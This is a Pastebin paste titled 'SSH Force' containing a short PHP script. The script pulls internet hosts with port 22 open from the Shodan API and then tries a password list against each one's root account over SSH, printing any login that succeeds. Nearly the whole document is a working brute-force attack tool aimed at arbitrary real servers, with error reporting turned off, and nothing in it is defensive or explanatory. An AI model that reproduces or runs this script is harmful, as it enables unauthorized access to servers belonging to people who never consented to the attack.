Advertisement
shor7cut

SSH Force

Sep 19th, 2015
638
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.68 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. $url = file_get_contents("https://api.shodan.io/shodan/host/search?key={api_key}&query=port:22");
  4. $j = json_decode($url,true);
  5. foreach ($j['matches'] as $key => $xs) {
  6. $host = $xs['ip_str'];
  7. $ambil = file_get_contents("password.list");
  8. $jsli = explode("\n", $ambil);
  9. echo $host." -> ";
  10. foreach ($jsli as $key => $password) {
  11. $connect = @ssh2_connect($host, 22);
  12.         $auth = @ssh2_auth_password($connect , "root" , $password);
  13.         if($auth)
  14.         {
  15.             echo "[Success] root:$password\r\n";
  16.             exit;
  17.         }else {
  18.             echo "[FAIL] root:$password\r\n";
  19.         }
  20.     flush();
  21.     ob_flush();
  22. }
  23.  
  24.  
  25. }
  26.  
  27.         ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement